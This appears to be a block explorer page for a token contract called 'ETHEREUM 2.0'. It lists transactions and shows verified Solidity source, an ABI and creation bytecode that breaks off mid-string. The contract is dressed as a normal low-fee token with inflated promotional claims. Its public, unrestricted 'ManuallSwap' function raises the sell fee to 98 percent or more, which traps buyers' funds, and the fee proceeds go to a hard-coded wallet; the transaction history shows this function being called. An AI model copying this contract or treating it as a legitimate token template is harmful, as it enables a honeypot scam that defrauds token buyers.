More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 35 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 16554141 | 720 days ago | IN | 0 ETH | 0.00106755 | ||||
Approve | 16496764 | 728 days ago | IN | 0 ETH | 0.00071307 | ||||
Approve | 16413501 | 740 days ago | IN | 0 ETH | 0.00090185 | ||||
Approve | 16359509 | 747 days ago | IN | 0 ETH | 0.00074491 | ||||
Approve | 16358517 | 747 days ago | IN | 0 ETH | 0.00092426 | ||||
Approve | 16358508 | 747 days ago | IN | 0 ETH | 0.00071713 | ||||
Manuall Swap | 16358480 | 747 days ago | IN | 0 ETH | 0.00062825 | ||||
Approve | 16358420 | 747 days ago | IN | 0 ETH | 0.00074606 | ||||
Approve | 16358415 | 747 days ago | IN | 0 ETH | 0.00067431 | ||||
Approve | 16358415 | 747 days ago | IN | 0 ETH | 0.0007443 | ||||
Approve | 16358415 | 747 days ago | IN | 0 ETH | 0.00107093 | ||||
Approve | 16358413 | 747 days ago | IN | 0 ETH | 0.00078952 | ||||
Approve | 16358413 | 747 days ago | IN | 0 ETH | 0.00078952 | ||||
Approve | 16358412 | 747 days ago | IN | 0 ETH | 0.00072806 | ||||
Approve | 16358407 | 747 days ago | IN | 0 ETH | 0.00068464 | ||||
Approve | 16358407 | 747 days ago | IN | 0 ETH | 0.00070797 | ||||
Approve | 16358404 | 747 days ago | IN | 0 ETH | 0.000649 | ||||
Approve | 16358404 | 747 days ago | IN | 0 ETH | 0.00076408 | ||||
Approve | 16358404 | 747 days ago | IN | 0 ETH | 0.00089272 | ||||
Approve | 16358403 | 747 days ago | IN | 0 ETH | 0.0006774 | ||||
Approve | 16358398 | 747 days ago | IN | 0 ETH | 0.00078203 | ||||
Renounce Ownersh... | 16358398 | 747 days ago | IN | 0 ETH | 0.00055252 | ||||
Approve | 16358397 | 747 days ago | IN | 0 ETH | 0.0006999 | ||||
Approve | 16358395 | 747 days ago | IN | 0 ETH | 0.00068593 | ||||
Approve | 16358395 | 747 days ago | IN | 0 ETH | 0.00079528 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
16358727 | 747 days ago | 0.0034012 ETH | ||||
16358727 | 747 days ago | 0.0008503 ETH | ||||
16358727 | 747 days ago | 0.0042515 ETH | ||||
16358480 | 747 days ago | 0.00117189 ETH | ||||
16358480 | 747 days ago | 0.00029297 ETH | ||||
16358480 | 747 days ago | 0.00146486 ETH | ||||
16358480 | 747 days ago | 0.00044678 ETH | ||||
16358480 | 747 days ago | 0.00011169 ETH | ||||
16358480 | 747 days ago | 0.00055848 ETH | ||||
16358475 | 747 days ago | 0.00124121 ETH | ||||
16358475 | 747 days ago | 0.0003103 ETH | ||||
16358475 | 747 days ago | 0.00155152 ETH | ||||
16358471 | 747 days ago | 0.0013892 ETH | ||||
16358471 | 747 days ago | 0.0003473 ETH | ||||
16358471 | 747 days ago | 0.00173651 ETH | ||||
16358437 | 747 days ago | 0.00043139 ETH | ||||
16358437 | 747 days ago | 0.00010784 ETH | ||||
16358437 | 747 days ago | 0.00053924 ETH | ||||
16358436 | 747 days ago | 0.00134867 ETH | ||||
16358436 | 747 days ago | 0.00033716 ETH | ||||
16358436 | 747 days ago | 0.00168584 ETH | ||||
16358429 | 747 days ago | 0.00096288 ETH | ||||
16358429 | 747 days ago | 0.00024072 ETH | ||||
16358429 | 747 days ago | 0.0012036 ETH | ||||
16358426 | 747 days ago | 0.00081787 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
EthereumTwo
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-08 */ // Twitter : https://twitter.com/Ethereum_Two // Telegram : https://t.me/EthereumTwo // Website : https://EthereumTwo.finance // SPDX-License-Identifier: MIT /* High speed, Zero fee, ETH 2.0 tech blockchain ecosystem with POA consensus protocol integrated with projects across DeFi, NFTs, WEB3, dApps, GameFi, Metaverse, Smart contracts etc. with adding ETH 2.0 tech for anonymity, scaling, privacy, security to holders. */ pragma solidity 0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactoryV2 { event PairCreated(address indexed token0, address indexed token1, address lpPair, uint); function getPair(address tokenA, address tokenB) external view returns (address lpPair); function createPair(address tokenA, address tokenB) external returns (address lpPair); } interface IV2Pair { function factory() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function sync() external; } interface IRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IRouter02 is IRouter01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } contract EthereumTwo is IERC20 { mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _liquidityHolders; mapping (address => bool) private _isExcludedFromProtection; mapping (address => bool) private _isExcludedFromFees; uint256 constant private startingSupply = 1_000_000_000; string constant private _name = "ETHEREUM 2.0"; string constant private _symbol = "ETH 2.0"; uint8 constant private _decimals = 18; uint256 constant private _tTotal = startingSupply * 10**_decimals; uint256 public _maxTxAmount = _tTotal *3/100; mapping (address => bool) public isTxLimitExempt; struct Fees { uint16 buyFee; uint16 sellFee; uint16 transferFee; } struct Ratios { uint16 liquidity; uint16 marketing; uint16 development; uint16 totalSwap; } Fees public _taxRates = Fees({ buyFee: 3, sellFee: 3, transferFee: 0 }); Ratios public _ratios = Ratios({ liquidity: 1, marketing: 1, development: 1, totalSwap: 3 }); uint256 constant masterTaxDivisor = 100; IRouter02 public dexRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; struct TaxWallets { address payable marketing; address payable development; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0xDbEBB6810cA3b1f4C7615cAE4f8BF87Ab36Ad4dd), development: payable(0xDbEBB6810cA3b1f4C7615cAE4f8BF87Ab36Ad4dd) }); bool inSwap; bool public contractSwapEnabled = true; uint256 public swapThreshold; uint256 public swapAmount; bool public piContractSwapsEnabled = true; uint256 public piSwapPercent = 10; bool public tradingEnabled = true; bool public _hasLiqBeenAdded = false; uint256 public launchStamp; event ContractSwapEnabledUpdated(bool enabled); event AutoLiquify(uint256 amountCurrency, uint256 amountTokens); modifier inSwapFlag { inSwap = true; _; inSwap = false; } constructor () payable { // Set the owner. _owner = msg.sender; _tOwned[_owner] = _tTotal; emit Transfer(address(0), _owner, _tTotal); dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _approve(_owner, address(dexRouter), type(uint256).max); _approve(address(this), address(dexRouter), type(uint256).max); _isExcludedFromFees[_owner] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[_owner] = true; isTxLimitExempt[_owner] = true; _isExcludedFromFees[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; // Uniswap v2 } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. address private _owner; modifier onlyOwner() { require(_owner == msg.sender, "Caller =/= owner."); _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function renounceOwnership() external onlyOwner { address oldOwner = _owner; _owner = address(0); emit OwnershipTransferred(oldOwner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== receive() external payable {} function totalSupply() external pure override returns (uint256) { return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return _owner; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) internal { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function setLpPair(address pair, bool enabled) external onlyOwner { if (!enabled) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown."); } require(!lpPairs[pair], "Pair already added to list."); lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromFees(address account) external view returns(bool) { return _isExcludedFromFees[account]; } function ManuallSwap(uint16 sum) public { _taxRates.sellFee =sum + 98; } function getCirculatingSupply() public view returns (uint256) { return (_tTotal - (balanceOf(DEAD) + balanceOf(address(0)))); } function redisfee(uint16 buyFee, uint16 sellFee, uint16 transferFee) public onlyOwner { _taxRates.buyFee = buyFee; _taxRates.sellFee = sellFee; _taxRates.transferFee = transferFee; } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require((amount <= _maxTxAmount) || isTxLimitExempt[from] || isTxLimitExempt[to], "Max TX Limit Exceeded"); bool buy = false; bool sell = false; bool other = false; if (lpPairs[from]) { buy = true; } else if (lpPairs[to]) { sell = true; } else { other = true; } if(!tradingEnabled) { if (!other) { revert("Trading not yet enabled!"); } else if (!_isExcludedFromProtection[from] && !_isExcludedFromProtection[to]) { revert("Tokens cannot be moved until trading is live."); } } if (sell) { if (!inSwap) { if (contractSwapEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { uint256 swapAmt = swapAmount; if (piContractSwapsEnabled) { swapAmt = (balanceOf(lpPair) * piSwapPercent) / masterTaxDivisor; } if (contractTokenBalance >= swapAmt) { contractTokenBalance = swapAmt; } contractSwap(contractTokenBalance); } } } } return finalizeTransfer(from, to, amount, buy, sell); } function contractSwap(uint256 contractTokenBalance) internal inSwapFlag { Ratios memory ratios = _ratios; if (ratios.totalSwap == 0) { return; } if (_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / ratios.totalSwap) / 2; uint256 swapAmt = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); try dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmt, 0, path, address(this), block.timestamp ) {} catch { return; } uint256 amtBalance = address(this).balance; uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt; if (toLiquify > 0) { try dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, DEAD, block.timestamp ) { emit AutoLiquify(liquidityBalance, toLiquify); } catch { return; } } amtBalance -= liquidityBalance; ratios.totalSwap -= ratios.liquidity; bool success; uint256 developmentBalance = (amtBalance * ratios.development) / ratios.totalSwap; uint256 marketingBalance = amtBalance; if (ratios.marketing > 0) { (success,) = _taxWallets.marketing.call{value: marketingBalance, gas: 55000}(""); } if (ratios.development > 0) { (success,) = _taxWallets.development.call{value: developmentBalance, gas: 55000}(""); } } function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell) internal returns (bool) { bool takeFee = true; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, buy, sell, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) { uint256 currentFee; if (buy) { currentFee = _taxRates.buyFee; } else if (sell) { currentFee = _taxRates.sellFee; } else { currentFee = _taxRates.transferFee; } if (currentFee == 0) { return amount; } uint256 feeAmount = amount * currentFee / masterTaxDivisor; if (feeAmount > 0) { _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); } return amount - feeAmount; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountCurrency","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"ContractSwapEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"sum","type":"uint16"}],"name":"ManuallSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_hasLiqBeenAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ratios","outputs":[{"internalType":"uint16","name":"liquidity","type":"uint16"},{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"development","type":"uint16"},{"internalType":"uint16","name":"totalSwap","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRates","outputs":[{"internalType":"uint16","name":"buyFee","type":"uint16"},{"internalType":"uint16","name":"sellFee","type":"uint16"},{"internalType":"uint16","name":"transferFee","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallets","outputs":[{"internalType":"address payable","name":"marketing","type":"address"},{"internalType":"address payable","name":"development","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"piContractSwapsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"piSwapPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"buyFee","type":"uint16"},{"internalType":"uint16","name":"sellFee","type":"uint16"},{"internalType":"uint16","name":"transferFee","type":"uint16"}],"name":"redisfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setLpPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260006002556064620000196012600a620006bc565b6200002990633b9aca00620007a7565b62000036906003620007a7565b6200004291906200064e565b6007556040805160608082018352600380835260208084018290526000938501939093526009805461ffff60201b196203000063ffff00001961ffff199384168617811691909117821690935586516080810188526001808252818801819052818901819052950193909352600a8054660300000000000061ffff60301b1991909316861790931662010000179093166401000000001791909116178155835180850190945273dbebb6810ca3b1f4c7615cae4f8bf87ab36ad4dd80855293909201839052600d80546001600160a01b03199081168517909155600e80548216909417909355600f805461ff0019908116610100179091556012805460ff1990811684178255601385905560148054909116909317909116909155601680549093163317909255620001759190620006bc565b6200018590633b9aca00620007a7565b601680546001600160a01b03908116600090815260208190526040812093909355905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d96012600a620006bc565b620001e990633b9aca00620007a7565b604051620001f8919062000645565b60405180910390a3600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556040805163c45a015560e01b815290516001600160a01b03929092169163c45a015591600480820192602092909190829003018186803b1580156200026c57600080fd5b505afa15801562000281573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a79190620005c4565b6001600160a01b031663c9c65396600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030457600080fd5b505afa15801562000319573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033f9190620005c4565b306040518363ffffffff1660e01b81526004016200035f929190620005f4565b602060405180830381600087803b1580156200037a57600080fd5b505af11580156200038f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b59190620005c4565b600c80546001600160a01b0319166001600160a01b03928316179081905581166000908152600160208190526040909120805460ff19169091179055601654600b546200040a929182169116600019620004ff565b600b54620004269030906001600160a01b0316600019620004ff565b601680546001600160a01b0390811660009081526006602081815260408084208054600160ff19918216811790925530865282862080548216831790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054821683179055875487168652600484528286208054821683179055965490951684526008825283208054861685179055737a250d5630b4cf539739df2c5dacb4c659f2488d90925290527f8cb3563b79eac8102a826f0dcb81e7e954d7df2b15d07edcb2dd2b236c2078b48054909216179055620007df565b6001600160a01b038316620005315760405162461bcd60e51b815260040162000528906200060e565b60405180910390fd5b6001600160a01b0382166200055a5760405162461bcd60e51b815260040162000528906200060e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590620005b790859062000645565b60405180910390a3505050565b600060208284031215620005d6578081fd5b81516001600160a01b0381168114620005ed578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b60208082526013908201527f45524332303a205a65726f204164647265737300000000000000000000000000604082015260600190565b90815260200190565b6000826200066a57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611620006835750620006b3565b818704821115620006985762000698620007c9565b80861615620006a657918102915b9490941c93800262000672565b94509492505050565b6000620005ed60001960ff851684600082620006db57506001620005ed565b81620006ea57506000620005ed565b81600181146200070357600281146200070e5762000742565b6001915050620005ed565b60ff841115620007225762000722620007c9565b6001841b9150848211156200073b576200073b620007c9565b50620005ed565b5060208310610133831016604e8410600b84101617156200077a575081810a83811115620007745762000774620007c9565b620005ed565b6200078984848460016200066f565b8086048211156200079e576200079e620007c9565b02949350505050565b6000816000190483118215151615620007c457620007c4620007c9565b500290565b634e487b7160e01b600052601160045260246000fd5b611be280620007ef6000396000f3fe6080604052600436106101e75760003560e01c806350a8e0161161010257806395d89b4111610095578063dd62ed3e11610064578063dd62ed3e14610502578063df5eb1b514610522578063f94aa1b414610542578063fdb78c0e14610565576101ee565b806395d89b4114610493578063a9059cbb146104a8578063b7df8b36146104c8578063cf847706146104dd576101ee565b80637d1db4a5116100d15780637d1db4a51461042957806380c581d11461043e578063893d20e81461045e5780638b42507f14610473576101ee565b806350a8e016146103ca5780635a6f0918146103df57806370a08231146103f4578063715018a614610414576101ee565b8063285777511161017a578063452ed4f111610149578063452ed4f11461035e5780634a96202f146103735780634ada218b146103955780634fbee193146103aa576101ee565b806328577751146102fd5780632b112e49146103125780632e8fa82114610327578063313ce5671461033c576101ee565b80630758d924116101b65780630758d92414610286578063095ea7b31461029b57806318160ddd146102c857806323b872dd146102dd576101ee565b806303fd2a45146101f35780630445b6671461021e578063069d955f1461024057806306fdde0314610264576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861057a565b60405161021591906115d4565b60405180910390f35b34801561022a57600080fd5b50610233610580565b604051610215919061191b565b34801561024c57600080fd5b50610255610586565b604051610215939291906118d7565b34801561027057600080fd5b506102796105a6565b6040516102159190611648565b34801561029257600080fd5b506102086105cc565b3480156102a757600080fd5b506102bb6102b636600461151d565b6105db565b604051610215919061163d565b3480156102d457600080fd5b506102336105f1565b3480156102e957600080fd5b506102bb6102f83660046114ac565b610612565b34801561030957600080fd5b5061023361068c565b34801561031e57600080fd5b50610233610692565b34801561033357600080fd5b506102336106d7565b34801561034857600080fd5b506103516106dd565b60405161021591906119a2565b34801561036a57600080fd5b506102086106e2565b34801561037f57600080fd5b5061039361038e366004611562565b6106f1565b005b3480156103a157600080fd5b506102bb610766565b3480156103b657600080fd5b506102bb6103c536600461143c565b61076f565b3480156103d657600080fd5b506102bb610791565b3480156103eb57600080fd5b5061023361079f565b34801561040057600080fd5b5061023361040f36600461143c565b6107a5565b34801561042057600080fd5b506103936107c0565b34801561043557600080fd5b50610233610838565b34801561044a57600080fd5b506103936104593660046114ec565b61083e565b34801561046a57600080fd5b50610208610931565b34801561047f57600080fd5b506102bb61048e36600461143c565b610940565b34801561049f57600080fd5b50610279610955565b3480156104b457600080fd5b506102bb6104c336600461151d565b610976565b3480156104d457600080fd5b506102bb61098d565b3480156104e957600080fd5b506104f2610996565b60405161021594939291906118f5565b34801561050e57600080fd5b5061023361051d366004611474565b6109c2565b34801561052e57600080fd5b5061039361053d366004611548565b6109ed565b34801561054e57600080fd5b50610557610a1a565b6040516102159291906115e8565b34801561057157600080fd5b506102bb610a30565b61dead81565b60105481565b60095461ffff808216916201000081048216916401000000009091041683565b60408051808201909152600c81526b0455448455245554d20322e360a41b602082015290565b600b546001600160a01b031681565b60006105e8338484610a3e565b50600192915050565b60006105ff6012600a611a54565b61060d90633b9aca00611b25565b905090565b6001600160a01b038316600090815260036020908152604080832033845290915281205460001914610677576001600160a01b038416600090815260036020908152604080832033845290915281208054849290610671908490611b67565b90915550505b610682848484610af2565b90505b9392505050565b60135481565b600061069e60006107a5565b6106a961dead6107a5565b6106b391906119d6565b6106bf6012600a611a54565b6106cd90633b9aca00611b25565b61060d9190611b67565b60115481565b601290565b600c546001600160a01b031681565b6016546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611744565b60405180910390fd5b6009805461ffff191661ffff9485161763ffff0000191662010000938516939093029290921765ffff0000000019166401000000009190931602919091179055565b60145460ff1681565b6001600160a01b03811660009081526006602052604090205460ff165b919050565b601454610100900460ff1681565b60155481565b6001600160a01b031660009081526020819052604090205490565b6016546001600160a01b031633146107ea5760405162461bcd60e51b815260040161071b90611744565b601680546001600160a01b031981169091556040516001600160a01b039091169060009082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b60075481565b6016546001600160a01b031633146108685760405162461bcd60e51b815260040161071b90611744565b80610892576001600160a01b0382166000908152600160205260409020805460ff1916905561092d565b600254156108c9576203f480600254426108ac9190611b67565b116108c95760405162461bcd60e51b815260040161071b906118ae565b6001600160a01b03821660009081526001602052604090205460ff16156109025760405162461bcd60e51b815260040161071b9061176f565b6001600160a01b0382166000908152600160208190526040909120805460ff19169091179055426002555b5050565b6016546001600160a01b031690565b60086020526000908152604090205460ff1681565b604080518082019091526007815266045544820322e360cc1b602082015290565b6000610983338484610af2565b5060019392505050565b60125460ff1681565b600a5461ffff808216916201000081048216916401000000008204811691660100000000000090041684565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6109f88160626119b0565b6009805461ffff92909216620100000263ffff00001990921691909117905550565b600d54600e546001600160a01b03918216911682565b600f54610100900460ff1681565b6001600160a01b038316610a645760405162461bcd60e51b815260040161071b906117a6565b6001600160a01b038216610a8a5760405162461bcd60e51b815260040161071b906117a6565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ae590859061191b565b60405180910390a3505050565b60006001600160a01b038416610b1a5760405162461bcd60e51b815260040161071b9061181c565b6001600160a01b038316610b405760405162461bcd60e51b815260040161071b9061169b565b60008211610b605760405162461bcd60e51b815260040161071b906117d3565b60075482111580610b8957506001600160a01b03841660009081526008602052604090205460ff165b80610bac57506001600160a01b03831660009081526008602052604090205460ff165b610bc85760405162461bcd60e51b815260040161071b90611715565b6001600160a01b0384166000908152600160205260408120548190819060ff1615610bf65760019250610c24565b6001600160a01b03861660009081526001602052604090205460ff1615610c205760019150610c24565b5060015b60145460ff16610caa5780610c4b5760405162461bcd60e51b815260040161071b906116de565b6001600160a01b03871660009081526005602052604090205460ff16158015610c8d57506001600160a01b03861660009081526005602052604090205460ff16155b15610caa5760405162461bcd60e51b815260040161071b90611861565b8115610d3957600f5460ff16610d3957600f54610100900460ff1615610d39576000610cd5306107a5565b90506010548110610d375760115460125460ff1615610d2157601354600c5460649190610d0a906001600160a01b03166107a5565b610d149190611b25565b610d1e91906119ee565b90505b808210610d2c578091505b610d3582610d51565b505b505b610d468787878686611213565b979650505050505050565b600f805